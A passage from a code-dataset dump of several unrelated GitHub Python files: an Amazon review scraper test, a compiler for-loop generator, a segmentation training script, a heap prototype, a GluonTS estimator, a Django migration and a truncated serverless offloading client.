url_prefix + profile_link\r\n reviews_dict['profile_link'].append(hyperLink)\r\n\r\n soup1 = self.get_soup(hyperLink)\r\n\r\n temp = soup1.find_all(\"span\", attrs={'class': 'a-size-large a-color-base'})\r\n reviews_dict['helpful_votes'].append(temp[0].text)\r\n reviews_dict['reviews_count'].append(temp[1].text)\r\n reviews_dict['hearts'].append(temp[2].text)\r\n\r\n temp = soup1.find_all(\"span\", attrs={'class': 'a-size-base'})\r\n reviews_dict['idea_lists'].append(temp[-1].text[1:])\r\n\r\n elapse = time.time() - start\r\n\r\n df = pd.DataFrame(reviews_dict)\r\n df.to_csv('test_review.csv')\r\n\r\n print(\"Finished scraping \" + str(total_reviews_count) + \" reviews in \" + str(elapse) + \" secs\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main()\r\n","repo_name":"QuanhanSun/AmazonScrapy","sub_path":"selenium_test.py","file_name":"selenium_test.py","file_ext":"py","file_size_in_byte":3551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36518739525","text":"from ..Abstract.abstract import Abstract\nfrom ..Tabla_Simbolos.Exception import Exception\nfrom ..Instrucciones.Break_Continue import Break\nfrom ..Instrucciones.Break_Continue import Continue\nfrom ..Tabla_Simbolos.tabla_simbolos import TablaSimbolos\nfrom ..Instrucciones.Return import Return\nfrom ..Abstract.Tipo import TIPO\nfrom ..Tabla_Simbolos.simbolo import Simbolo\nfrom ..Tabla_Simbolos.generador import Generador\nclass For(Abstract):\n def __init__(self, row, column, declaration, condition, incrdecr, instructions):\n self.inicio = declaration\n self.condicion = condition\n self.aumento = incrdecr\n self.bloqueFor = instructions\n super().__init__(row, column)\n\n def interpretar(self, arbol,tabla):\n genAux = Generador()\n generador = genAux.getInstance()\n generador.addComment(\"Compilando for\")\n\n nuevo_entorno = TablaSimbolos(tabla, \"FOR\")\n\n declaracion = self.inicio.interpretar(arbol, nuevo_entorno)\n if isinstance(declaracion, Exception): return declaracion\n\n inicio = generador.newLabel()\n generador.putLabel(inicio)\n\n condicion = self.condicion.interpretar(arbol, nuevo_entorno) # True o False\n if isinstance(condicion, Exception): return condicion\n\n if condicion.getTipo() == TIPO.BOOLEAN:\n generador.putLabel(condicion.getTrueLbl())\n\n tabla.breakLbl = condicion.getFalseLbl()\n tabla.continueLbl = inicio\n\n nuevo_entorno.breakLbl = tabla.breakLbl # seteando en caso de tener un ciclo mas arriba\n nuevo_entorno.continueLbl = tabla.continueLbl # seteando en caso de tener un ciclo mas arriba\n nuevo_entorno.returnLbl = tabla.returnLbl # seteando en caso de tener una funcion mas arriba\n\n for ins in self.bloqueFor:\n #nuevo_entorno = TablaSimbolos(tabla)\n value = ins.interpretar(arbol, nuevo_entorno)\n if isinstance(value, Exception): arbol.getErrores().append(value)\n if isinstance(value, Break):\n generador.addGoto(condicion.getFalseLbl())\n if isinstance(value, Continue):\n generador.addGoto(inicio)\n if isinstance(value, Return):\n if nuevo_entorno.returnLbl != '':\n if value.getTrueLbl() == '':\n generador.addComment('Resultado a retornar en la funcion')\n generador.setStack('P', value.getValor())\n generador.addGoto(nuevo_entorno.returnLbl)\n generador.addComment('Fin del resultado a retornar')\n else:\n generador.addComment('Resultado a retornar en la funcion')\n generador.putLabel(value.getTrueLbl())\n generador.setStack('P', '1')\n generador.addGoto(nuevo_entorno.returnLbl)\n generador.putLabel(value.getFalseLbl())\n generador.setStack('P', '0')\n generador.addGoto(nuevo_entorno.returnLbl)\n generador.addComment('Fin del resultado a retornar')\n else:\n generador.addComment(\"Error: Sentencia return fuera de una funcion\")\n tm = Exception(\"Semantico\", \"Sentencia return fuera de una funcion\", self.fila, self.columna)\n arbol.getErrores.append(tm)\n\n incremento = self.aumento.interpretar(arbol, nuevo_entorno)\n if isinstance(incremento, Exception): return incremento\n\n tabla.breakLbl = ''\n tabla.continueLbl = ''\n\n generador.addGoto(inicio)\n generador.putLabel(condicion.getFalseLbl())\n generador.addComment(\"Finalizando For\")\n else:\n generador.addComment(\"Error: la condicion debe ser de tipo boolean\")\n return Exception(\"Semantico\", \"La condicional debe ser de tipo boolean\", self.fila, self.columna)\n\n return None","repo_name":"ReynosoTiu/usac_compi2_fase2","sub_path":"src/Instrucciones/For.py","file_name":"For.py","file_ext":"py","file_size_in_byte":4142,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"24490313139","text":"import os\nimport random\nimport argparse\nimport time\nimport datetime\nimport dateutil.tz\nimport torch\nimport pandas as pd\nimport numpy as np\n\nif __name__ == \"__main__\":\n \n parser = argparse.ArgumentParser()\n parser.add_argument(\"--gpu_id\", type=str, default='0', help='GPU number')\n parser.add_argument(\"--num_workers\", type=int, default=4, help='worker number')\n parser.add_argument(\"--epochs\", type=int, default=500, help=\"epochs\")\n parser.add_argument('--batch_size', type=int, default=32, help='batch size')\n \n parser.add_argument('--learning_rate', type=float, default=5e-5, help='generator learning rate') \n parser.add_argument('--total_fold_num', type=int, default=4, help='num of total fold')\n parser.add_argument('--fold_num', type=int, nargs='+', required=True, help='num of target fold')\n \n parser.add_argument(\"--num_sequence\", type=int, default=3, help='number of sequence')\n parser.add_argument(\"--image_size\", type=int, default=64, help='image size')\n\n parser.add_argument(\"--bAttention\", type=int, default=0, help='attention model or not')\n parser.add_argument(\"--bTransfer_learning\", type=int, default=0, help='transfer learning or not')\n\n parser.add_argument(\"--exp_name\", type=str, default='test', help='experiment name')\n parser.add_argument(\"--pretrained_model_path\", type=str, default='pretrained_model/nodule_sensor3d_attention_final.pth', help='pretrained_model_path')\n parser.add_argument(\"--dataset_path\", type=str, default='/home/ubuntu/data/Workspace/Wonseo/Orbit_Seg_bySJ/FINAL/CMC_seq/', help='tg_dataset_path')\n\n \n opt = parser.parse_args()\n print(opt)\n \n\n from tg_dataset import TargetDataset\n train_dataset = []\n test_dataset = []\n for fold in range(opt.total_fold_num):\n train_dataset.append(TargetDataset(opt.dataset_path, 'train', fold, opt.total_fold_num))\n test_dataset.append(TargetDataset(opt.dataset_path,'test', fold, opt.total_fold_num))\n print(train_dataset[fold].get_num_patient(), test_dataset[fold].get_num_patient())\n \n # for name in test_dataset[fold].get_patient_img_names():\n # print(name)\n # exit()\n\n # txt_name = str(fold) + 'th-fold.txt'\n # f = open(txt_name, 'w')\n # for name in test_dataset[fold].get_patient_img_names():\n # f.write(\"%s \\n\" % (name))\n\n # f.write(\"\\n\\n\\n\")\n \n # for name in train_dataset[fold].get_patient_img_names():\n # f.write(\"%s \\n\" % (name))\n \n \n # f.close()\n \n # exit()\n for fold in opt.fold_num:\n print(fold, '-th fold ::: training start')\n\n print(fold, 'th fold train/test seq:: ', len(train_dataset[fold]), len(test_dataset[fold]))\n print(fold, 'th fold train/test patient:: ', train_dataset[fold].get_num_patient(), test_dataset[fold].get_num_patient())\n \n train_dataloader = torch.utils.data.DataLoader(train_dataset[fold], batch_size=opt.batch_size, drop_last=False, shuffle=True, num_workers=opt.num_workers)\n test_dataloader = torch.utils.data.DataLoader(test_dataset[fold], batch_size=opt.batch_size, drop_last=False, shuffle=True, num_workers=opt.num_workers)\n \n fold_exp_name = str(fold) + 'th_fold_' + opt.exp_name\n now = datetime.datetime.now(dateutil.tz.tzlocal())\n timestamp = now.strftime('%m_%d_%H_%M')\n \n\n from torch.utils.tensorboard import SummaryWriter\n output_dir = './experiments_sensor3d/%s_%s' % (timestamp, fold_exp_name)\n writer_path = './log/%s_%s' % (timestamp, fold_exp_name)\n os.makedirs(writer_path) \n writer = SummaryWriter(writer_path)\n \n\n from trainer import sequentialSegTrainer as trainer\n algo = trainer(epochs= opt.epochs, \n gpu= opt.gpu_id, \n batch_size= opt.batch_size, \n image_size= opt.image_size, \n learning_rate= opt.learning_rate, \n output_dir= output_dir, \n bAttention = opt.bAttention,\n bTransfer_learning = opt.bTransfer_learning,\n pretrained_model_dir= opt.pretrained_model_path, \n train_dataloader= train_dataloader, \n test_dataloader= test_dataloader, \n writer= writer)\n\n\n\n start_t = time.time()\n algo.train()\n end_t = time.time()\n\n print(fold, '-th fold ::: total time for training: ', end_t - start_t)","repo_name":"cmcbigdata/Orbit-Segmentation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"2861494574","text":"#!/usr/bin/env python\nimport random\nfrom binary_heap import *\nfrom stack import *\n\nimport heap_utils\n\nclass magical_heap_node( object ):\n def __init__( self ):\n self.next = None\n self.previous = None\n \n self.head = None\n \n self.size = 0\n\n def push_front( self, node ):\n node.right = self.head \n self.head = node\n self.size += 1\n\n def pop_front( self ):\n e = self.head\n self.head = e.right\n e.right = None\n \n self.size -= 1\n return e\n\n def meld( self, other ):\n pass\n \n def is_front( self ):\n return self.previous == None\n \n def is_high( self ):\n return self.size == 3\n\n def empty( self ):\n return self.size == 0\n\nclass magic_heap( object ):\n def __init__( self ):\n self.first = magical_heap_node( )\n\n self.min_pointer = None\n #self.fix_stack = fix_stack( ) # Hi and Lo digits\n self.fix_stack = fix_stack_vector( ) # Hi and Lo digits\n self.statebit = 0\n\n ## M a g i c H e a p \\ P u b l i c ##\n\n\n def find_min( self ):\n return self.min_pointer.find_min( )\n\n def buy_node( self ):\n return heap_node( )\n\n def insert( self, node ): # increment\n nh = binary_heap( node )\n\n # insert new node at front.\n node = self.__front( )\n node.push_front( nh )\n \n # update min pointer\n if not self.min_pointer or nh.find_min( ) < self.min_pointer.find_min( ):\n self.min_pointer = nh\n\n # fix\n if node.is_high( ):\n self.__fix( node )\n else:\n node_to_fix = self.fix_stack.pop_hi( ) \n if node_to_fix:\n self.__fix( node_to_fix ) \n\n def delete( self, node ): # decrement \n bn = self.__borrow( )\n node.head.replace( node, bn )\n\n def delete_min( self ):\n self.delete( self.min_pointer )\n #scan roots to find new minimum\n\n\n def meld( self, mheap ):\n pass\n\n def size( self ):\n s = self.__numerical( )\n return self.__value_of( s )\n\n def list( self ):\n return self.__numerical( )\n\n\n ## M a g i c H e a p \\ P r i v a t e ##\n \n def __get_state( self ):\n #f = self.__front( ).head.size( )\n #s = self.__front( ).next.head.size( )\n #return str( f ) + str( s )\n pass\n\n def __front( self ):\n '''Return front node of the magic-heap'''\n return self.first\n\n def __grow( self, node ):\n '''Given a pointer to a node, this function grows the magic-heap by one'''\n mhn = magical_heap_node( )\n node.next = mhn\n mhn.previous = node\n\n def __shrink( self, node ):\n '''Given a pointer to a node, this function shrinks the magic-heap by one'''\n node.previous.next = None\n node.previous = None\n\n def __meld( self, mheap ):\n '''Given a second magic-heap, this function melds the two'''\n pass\n \n def __fix( self, node ):\n # grow heap if necesary\n if node.next == None:\n self.__grow( node )\n\n # Decrease sigma_j by 3\n p = node.pop_front( )\n q = node.pop_front( )\n r = node.pop_front( )\n\n # increase sigma_j-1 by 2\n if p.root < q.root:\n if p.root < r.root:\n if not node.is_front( ):\n sts = p.cut_at_root( )\n p.root.left = q.root\n q.root.color = 1\n q.root.right = r.root\n r.root.right = p.root\n node.next.push_front( p )\n else:\n if not node.is_front( ):\n sts = r.cut_at_root( )\n r.root.left = p.root\n p.root.color = 1\n p.root.right = q.root\n q.root.right = r.root\n node.next.push_front( r ) \n else:\n if q.root < r.root:\n if not node.is_front( ):\n sts = q.cut_at_root( )\n q.root.left = r.root\n r.root.color = 1\n r.root.right = p.root\n p.root.right = q.root\n node.next.push_front( q )\n else:\n if not node.is_front( ):\n sts = r.cut_at_root( )\n r.root.left = p.root\n p.root.color = 1\n p.root.right = q.root\n q.root.right = r.root\n node.next.push_front( r )\n\n if node.next.is_high( ):\n self.fix_stack.push_hi( node.next )\n \n # increase sigma_j-1 by 2\n if not node.is_front( ):\n node.previous.push_front( sts[0] )\n node.previous.push_front( sts[1] )\n if node.previous.is_high( ):\n self.fix_stack.push_hi( node.previous )\n \n def __unfix( self, node ):\n if not node.is_front( ):\n p = node.next.pop_front( )\n q = node.previous.pop_front( )\n r = node.previous.pop_front( )\n \n sts = p.cut_at_root( )\n p.root.left = q.root\n q.root.color = 1\n q.root.right = r\n r.root.right = p\n \n p.siftdown( p.root )\n node.push_front( p )\n node.push_front( sts[0] )\n node.push_front( sts[1] )\n else:\n p = node.next.pop_front( )\n sts = p.cut_at_root( )\n \n node.push_front( p )\n node.push_front( sts[0] )\n node.push_front( sts[1] )\n \n def __borrow( self ):\n #node_to_unfix = self.low_stack.pop( ) \n #if node_to_unfix:\n # self.__unfix( node_to_unfix )\n \n # bn = self.__front().pop()\n # return bn\n pass\n\n def __scan( self ):\n miterator = self.__front( )\n while miterator != None:\n riterator = miterator.head\n while riterator != None:\n print( riterator.find_min( ).element )\n riterator = riterator.right\n miterator = miterator.next\n\n def __empty( self, node ):\n return node.size == 0\n\n def __value_of( self, S ):\n n = 0\n for i ,s in enumerate( S ):\n n += s * ((2**(i+1)) - 1)\n return n\n\n def __numerical( self ):\n s = []\n i = self.__front( )\n while i:\n s.append( i.size )\n i = i.next\n return s\n\n def assert_magic_heap( self ):\n miterator = self.__front( )\n while miterator != None:\n riterator = miterator.head\n while riterator != None:\n heap_utils.assert_heap( riterator )\n riterator = riterator.right\n miterator = miterator.next\n \n\nif __name__ == \"__main__\":\n from time import process_time\n\n def get_random( ):\n return random.randint( 1, 1000000 )\n\n m_heap = magic_heap( )\n print( \"size: \" + str( m_heap.size( ) ) )\n \n t = process_time()\n for i in range( 0, 2**21 ):\n node = m_heap.buy_node( )\n node.element = get_random( )\n m_heap.insert( node )\n \n print( \"time: \" + str( process_time() - t ) )\n print( \"size: \" + str( m_heap.size( ) ) )\n print( \"structure: \" + str( m_heap.list( ) ) )\n print( \"min element: \" + str( m_heap.find_min( ).element ) )\n m_heap.assert_magic_heap( )\n","repo_name":"kasperhelweg/thesis","sub_path":"scripts/magic_heap_proto/magic_heap.py","file_name":"magic_heap.py","file_ext":"py","file_size_in_byte":6493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12717998823","text":"from functools import partial\n\nfrom mxnet.gluon import HybridBlock\n\nfrom gluonts.core.component import validated\nfrom gluonts.dataset.common import Dataset\nfrom gluonts.dataset.loader import (\n DataLoader,\n TrainDataLoader,\n ValidationDataLoader,\n)\nfrom gluonts.model.predictor import Predictor\nfrom gluonts.mx.model.tpp import PointProcessGluonPredictor\nfrom gluonts.mx.model.tpp.distribution import (\n TPPDistributionOutput,\n WeibullOutput,\n)\nfrom gluonts.mx.batchify import batchify\nfrom gluonts.mx.model.estimator import GluonEstimator\nfrom gluonts.mx.trainer import Trainer\nfrom gluonts.mx.util import get_hybrid_forward_input_names\nfrom gluonts.transform import (\n Chain,\n ContinuousTimeInstanceSplitter,\n ContinuousTimePointSampler,\n ContinuousTimePredictionSampler,\n ContinuousTimeUniformSampler,\n RenameFields,\n SelectFields,\n Transformation,\n)\n\nfrom ._network import DeepTPPPredictionNetwork, DeepTPPTrainingNetwork\n\n\nclass DeepTPPEstimator(GluonEstimator):\n r\"\"\"\n DeepTPP is a multivariate point process model based on an RNN.\n\n After each event :math:`(\\tau_i, m_i)`, we feed the inter-arrival time\n :math:`\\tau_i` and the mark :math:`m_i` into the RNN. The state :math:`h_i`\n of the RNN represents the history embedding. We use :math:`h_i` to\n parametrize the distribution over the next inter-arrival time\n :math:`p(\\tau_{i+1} | h_i)` and the distribution over the next mark\n :math:`p(m_{i+1} | h_i)`. The distribution over the marks is always\n categorical, but different choices are possible for the distribution over\n inter-arrival times - see :code:`gluonts.model.tpp.distribution`.\n\n The model is a generalization of the approaches described in [DDT+16]_,\n [TWJ19]_ and [SBG20]_.\n\n References\n ----------\n\n\n Parameters\n ----------\n prediction_interval_length\n The length of the interval (in continuous time) that the estimator will\n predict at prediction time.\n context_interval_length\n The length of intervals (in continuous time) that the estimator will be\n trained with.\n num_marks\n The number of marks (distinct processes), i.e., the cardinality of the\n mark set.\n time_distr_output\n TPPDistributionOutput for the distribution over the inter-arrival\n times. See :code:`gluonts.model.tpp.distribution` for possible choices.\n embedding_dim\n The dimension of vector embeddings for marks (used as input to the\n GRU).\n trainer\n :code:`gluonts.mx.trainer.Trainer` object which will be used to train\n the estimator. Note that :code:`Trainer(hybridize=False)` must be set\n as :code:`DeepTPPEstimator` currently does not support hybridization.\n num_hidden_dimensions\n Number of hidden units in the GRU network.\n num_parallel_samples\n The number of samples returned by the :code:`Predictor` learned.\n num_training_instances\n The number of training instances to be sampled from each entry in the\n data set provided during training.\n freq\n Similar to the :code:`freq` of discrete-time models, specifies the time\n unit by which inter-arrival times are given.\n batch_size\n The size of the batches to be used training and prediction.\n \"\"\"\n\n @validated()\n def __init__(\n self,\n prediction_interval_length: float,\n context_interval_length: float,\n num_marks: int,\n time_distr_output: TPPDistributionOutput = WeibullOutput(),\n embedding_dim: int = 5,\n trainer: Trainer = Trainer(hybridize=False),\n num_hidden_dimensions: int = 10,\n num_parallel_samples: int = 100,\n num_training_instances: int = 100,\n freq: str = \"H\",\n batch_size: int = 32,\n ) -> None:\n assert (\n not trainer.hybridize\n ), \"DeepTPP currently only supports the non-hybridized training\"\n\n super().__init__(trainer=trainer, batch_size=batch_size)\n\n assert (\n prediction_interval_length > 0\n ), \"The value of `prediction_interval_length` should be > 0\"\n assert (\n context_interval_length is None or context_interval_length > 0\n ), \"The value of `context_interval_length` should be > 0\"\n assert (\n num_hidden_dimensions > 0\n ), \"The value of `num_hidden_dimensions` should be > 0\"\n assert (\n num_parallel_samples > 0\n ), \"The value of `num_parallel_samples` should be > 0\"\n assert num_marks > 0, \"The value of `num_marks` should be > 0\"\n assert (\n num_training_instances > 0\n ), \"The value of `num_training_instances` should be > 0\"\n\n self.num_hidden_dimensions = num_hidden_dimensions\n self.prediction_interval_length = prediction_interval_length\n self.context_interval_length = (\n context_interval_length\n if context_interval_length is not None\n else prediction_interval_length\n )\n self.num_marks = num_marks\n self.time_distr_output = time_distr_output\n self.embedding_dim = embedding_dim\n self.num_parallel_samples = num_parallel_samples\n self.num_training_instances = num_training_instances\n self.freq = freq\n\n def create_transformation(self) -> Transformation:\n return Chain([]) # identity transformation\n\n def _create_instance_splitter(self, mode: str):\n assert mode in [\"training\", \"validation\", \"test\"]\n\n instance_sampler = {\n \"training\": ContinuousTimeUniformSampler(\n num_instances=self.num_training_instances,\n min_past=self.context_interval_length,\n min_future=self.prediction_interval_length,\n ),\n \"validation\": ContinuousTimePredictionSampler(\n allow_empty_interval=True,\n min_past=self.context_interval_length,\n min_future=self.prediction_interval_length,\n ),\n \"test\": ContinuousTimePredictionSampler(\n min_past=self.context_interval_length,\n allow_empty_interval=False,\n ),\n }[mode]\n\n assert isinstance(instance_sampler, ContinuousTimePointSampler)\n\n return Chain(\n [\n ContinuousTimeInstanceSplitter(\n past_interval_length=self.context_interval_length,\n future_interval_length=self.prediction_interval_length,\n instance_sampler=instance_sampler,\n ),\n RenameFields(\n {\n \"past_target\": \"target\",\n \"past_valid_length\": \"valid_length\",\n }\n ),\n ]\n )\n\n def create_training_data_loader(\n self,\n data: Dataset,\n **kwargs,\n ) -> DataLoader:\n input_names = get_hybrid_forward_input_names(DeepTPPTrainingNetwork)\n instance_splitter = self._create_instance_splitter(\"training\")\n return TrainDataLoader(\n dataset=data,\n transform=instance_splitter + SelectFields(input_names),\n batch_size=self.batch_size,\n stack_fn=partial(batchify, ctx=self.trainer.ctx, dtype=self.dtype),\n **kwargs,\n )\n\n def create_validation_data_loader(\n self,\n data: Dataset,\n **kwargs,\n ) -> DataLoader:\n input_names = get_hybrid_forward_input_names(DeepTPPTrainingNetwork)\n instance_splitter = self._create_instance_splitter(\"validation\")\n return ValidationDataLoader(\n dataset=data,\n transform=instance_splitter + SelectFields(input_names),\n batch_size=self.batch_size,\n stack_fn=partial(batchify, ctx=self.trainer.ctx, dtype=self.dtype),\n )\n\n def create_training_network(self) -> HybridBlock:\n return DeepTPPTrainingNetwork(\n num_marks=self.num_marks,\n time_distr_output=self.time_distr_output,\n interval_length=self.prediction_interval_length,\n embedding_dim=self.embedding_dim,\n num_hidden_dimensions=self.num_hidden_dimensions,\n )\n\n def create_predictor(\n self,\n transformation: Transformation,\n trained_network: DeepTPPTrainingNetwork,\n ) -> Predictor:\n prediction_splitter = self._create_instance_splitter(\"test\")\n\n prediction_network = DeepTPPPredictionNetwork(\n num_marks=self.num_marks,\n prediction_interval_length=self.prediction_interval_length,\n interval_length=self.context_interval_length,\n embedding_dim=self.embedding_dim,\n num_hidden_dimensions=self.num_hidden_dimensions,\n time_distr_output=trained_network.time_distr_output,\n params=trained_network.collect_params(),\n num_parallel_samples=self.num_parallel_samples,\n )\n\n return PointProcessGluonPredictor(\n input_names=[\"target\", \"valid_length\"],\n prediction_net=prediction_network,\n batch_size=self.batch_size,\n prediction_interval_length=self.prediction_interval_length,\n freq=self.freq,\n ctx=self.trainer.ctx,\n input_transform=transformation + prediction_splitter,\n )\n","repo_name":"awslabs/gluonts","sub_path":"src/gluonts/mx/model/tpp/deeptpp/_estimator.py","file_name":"_estimator.py","file_ext":"py","file_size_in_byte":9381,"program_lang":"python","lang":"en","doc_type":"code","stars":3904,"dataset":"github-code","pt":"67"} +{"seq_id":"7041458674","text":"from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n dependencies = [(\"order\", \"0004_order_total\")]\n\n operations = [\n migrations.AddField(\n model_name=\"deliverygroup\",\n name=\"last_updated\",\n field=models.DateTimeField(auto_now=True, null=True),\n )\n ]\n","repo_name":"saleor/saleor","sub_path":"saleor/order/migrations/0005_deliverygroup_last_updated.py","file_name":"0005_deliverygroup_last_updated.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":19331,"dataset":"github-code","pt":"67"} +{"seq_id":"71136981655","text":"import time, re\nfrom enum import Enum\nfrom typing import Callable, List, Optional\nfrom ipaddress import ip_address as ipadd, IPv4Address, IPv6Address\n\nfrom cognit.models._prov_engine_client import (\n Empty,\n FaaSConfig,\n FaaSState,\n ServerlessRuntime,\n ServerlessRuntimeData,\n)\nfrom cognit.models._serverless_runtime_client import (\n AsyncExecResponse,\n AsyncExecStatus,\n ExecReturnCode,\n ExecSyncParams,\n)\nfrom cognit.modules._cognitconfig import DEFAULT_CONFIG_PATH, CognitConfig\nfrom cognit.modules._faas_parser import FaasParser\nfrom cognit.modules._logger import CognitLogger\nfrom cognit.modules._prov_engine_client import ProvEngineClient\nfrom cognit.modules._serverless_runtime_client import (\n AsyncExecId,\n ExecResponse,\n ServerlessRuntimeClient,\n)\n\ncognit_logger = CognitLogger()\n\nclass StatusCode(Enum):\n SUCCESS = (0,)\n ERROR = 1\n PENDING = 2\n\n\nclass SchedulingPolicy:\n \"\"\"\n Serverless runtime scheduling policies representation:\n \"\"\"\n\n def __init__(self) -> None:\n self.policy_name = \"default_policy\"\n\n def serialize_requirements(self) -> str:\n raise NotImplementedError(\"Child classes must override this method\")\n\n\nclass EnergySchedulingPolicy(SchedulingPolicy):\n \"\"\"\n Serverless runtime scheduling policies representation:\n \"\"\"\n\n def __init__(self, energy_percentage=0) -> None:\n \"\"\"\n _summary_\n\n Args:\n energy_percentage (int, optional): Defines in which percentage should\n the serverless runtime be powered by renewable energy. Defaults to 0.\n \"\"\"\n super().__init__()\n self.policy_name = \"energy\"\n self.energy_percentage = energy_percentage\n\n def serialize_requirements(self) -> str:\n return '{\"energy\":' + str(self.energy_percentage) + \"}\"\n\n\nclass ServerlessRuntimeConfig:\n \"\"\"\n ServerlessRuntimeConfig representation:\n\n Args:\n energy (int): Defines in which percentage should the serverless\n runtime be powered by renewable energy.\n\n name (str): Defines the name of the serverless runtime to be created\n \"\"\"\n\n scheduling_policies: List[SchedulingPolicy] = []\n name: str = \"\"\n\n\nclass ServerlessRuntimeContext:\n def __init__(\n self,\n config_path=DEFAULT_CONFIG_PATH,\n ) -> None:\n \"\"\"\n Serverless Runtime context creation based on info\n provided by Provisioning Engine\n\n Args:\n config_path (str): Path of the configuration to be applied to access\n the Prov. Engine.\n \"\"\"\n self.config = CognitConfig(config_path)\n self.pec = ProvEngineClient(self.config)\n self.src = None\n self.sr_instance = None\n self.url_proto = \"http://\"\n\n def create(\n self,\n serveless_runtime_config: ServerlessRuntimeConfig,\n ) -> StatusCode:\n ## Create FaasConfig scheduling policies from the user provided objects\n policies = \"\"\n requirements = \"\"\n\n for policy in serveless_runtime_config.scheduling_policies:\n policies += policy.policy_name\n requirements += policy.serialize_requirements()\n # Add only comma if is the last one\n if policy != serveless_runtime_config.scheduling_policies[-1]:\n policies += \",\"\n requirements += \",\"\n\n faas_config = FaaSConfig(\n name=serveless_runtime_config.name,\n policies=policies,\n requirements=requirements,\n )\n\n new_sr_data = ServerlessRuntimeData(\n NAME=serveless_runtime_config.name,\n FAAS=faas_config,\n DEVICE_INFO=Empty(),\n SCHEDULING=Empty(),\n )\n\n new_sr_request = ServerlessRuntime(SERVERLESS_RUNTIME=new_sr_data)\n\n new_sr_response = self.pec.create(new_sr_request)\n\n if new_sr_response == None:\n cognit_logger.error(\"Serverless Runtime creation request failed\")\n return StatusCode.ERROR\n\n if not new_sr_response.SERVERLESS_RUNTIME.FAAS.STATE in (\n FaaSState.PENDING,\n FaaSState.NO_STATE,\n ):\n cognit_logger.error(\n \"Serverless Runtime creation request failed: returned state is not PENDING ({0})\".format(\n new_sr_response.SERVERLESS_RUNTIME.FAAS.STATE\n )\n )\n return StatusCode.ERROR\n \n # Make sure that endpoint's URL contains protocol and port on it and IP version compliant.\n try:\n if new_sr_response != None:\n ip_version = ipadd(new_sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT)\n if type(ip_version) == IPv4Address:\n new_sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT = self.url_proto + new_sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT \\\n + \":\" + str(self.config._servl_runt_port)\n elif type(ip_version) == IPv6Address:\n new_sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT = self.url_proto + \"[\"+ new_sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT \\\n + \"]:\" + str(self.config._servl_runt_port)\n except ValueError as e:\n cognit_logger.warning(\"Serverless runtime endpoint Ip address differs from IPv4 or IPv6\")\n\n # Store the Serverless Runtime instance\n self.sr_instance = new_sr_response\n\n return StatusCode.SUCCESS\n\n @property\n def status(self) -> Optional[FaaSState]:\n \"\"\"\n _summary_\n\n Returns:\n StatusCode: The current Serverless Runtime status\n \"\"\"\n\n if self.sr_instance == None or self.sr_instance.SERVERLESS_RUNTIME.ID == None:\n cognit_logger.error(\n \"Serverless Runtime instance has not been requested yet\"\n )\n return None\n\n # Retrieve the Serverless Runtime instance from the Provisioning Engine\n sr_response = self.pec.retrieve(self.sr_instance.SERVERLESS_RUNTIME.ID)\n\n # Update the Serverless Runtime cached instance\n # Make sure that endpoint's URL contains protocol and port on it and IP version compliant.\n try:\n if sr_response != None:\n ip_version = ipadd(sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT)\n if type(ip_version) == IPv4Address:\n sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT = self.url_proto + sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT \\\n + \":\" + str(self.config._servl_runt_port)\n elif type(ip_version) == IPv6Address:\n sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT = self.url_proto + \"[\"+ sr_response.SERVERLESS_RUNTIME.FAAS.ENDPOINT \\\n + \"]:\" + str(self.config._servl_runt_port)\n except ValueError as e:\n cognit_logger.warning(\"Serverless runtime endpoint's Ip address differs from IPv4 or IPv6\")\n\n # Update the Serverless Runtime instance\n self.sr_instance = sr_response\n\n return self.sr_instance.SERVERLESS_RUNTIME.FAAS.STATE\n\n # TODO: Not implemented yet.\n def copy(self, src, dst) -> StatusCode:\n \"\"\"\n Copies src into dst\n\n Args:\n src (_type_): _description_\n dst (_type_): _description_\n \"\"\"\n raise NotImplementedError\n\n def call_sync(\n self,\n func: Callable,\n *params,\n # **kwargs,\n ) -> ExecResponse:\n \"\"\"\n Perform the offload of a function to the cognit platform and wait for\\\n the result.\n\n Args:\n func (Callable): The target funtion to be offloaded\n params (List[Any]): Arguments needed to call the function\n\n Returns:\n ExecResponse: Response Code\n \"\"\"\n\n # If the Serverless Runtime client is not initialized,\n # create an instance with the endpoint\n if self.src == None:\n if (\n self.sr_instance == None\n or self.sr_instance.SERVERLESS_RUNTIME.FAAS.ENDPOINT == None\n ):\n cognit_logger.error(\n \"Serverless Runtime instance has not been requested yet\"\n )\n return ExecResponse(ExecReturnCode.ERROR)\n\n self.src = ServerlessRuntimeClient(\n self.sr_instance.SERVERLESS_RUNTIME.FAAS.ENDPOINT\n )\n\n parser = FaasParser()\n\n # Serialize the function an the params\n serialized_fc = parser.serialize(func)\n serialized_params = []\n for param in params:\n serialized_params.append(parser.serialize(param))\n\n # Payload JSON definition\n offload_fc = ExecSyncParams(\n fc=serialized_fc, params=serialized_params, lang=\"PY\"\n )\n\n # TODO: The client should update the sr status before offloading a function\n # if self.status() ==\n\n resp = self.src.faas_execute_sync(offload_fc)\n\n # Handle http error codes (if resp.res=None there is nothing to deserialize)\n if resp.res is not None:\n resp.res = parser.deserialize(resp.res)\n else:\n cognit_logger.error(\"Sync request error; {0}\".format(resp.err))\n\n return resp\n\n def call_async(\n self,\n func: Callable,\n *params,\n ) -> AsyncExecResponse:\n \"\"\"\n Perform the offload of a function to the cognit platform without \\\n blocking.\n\n Args:\n func (Callable): The target funtion to be offloaded\n params (List[Any]): Arguments needed to call the function\n\n Returns:\n AsyncExecResponse: Async Response Code\n \"\"\"\n\n # If the Serverless Runtime client is not 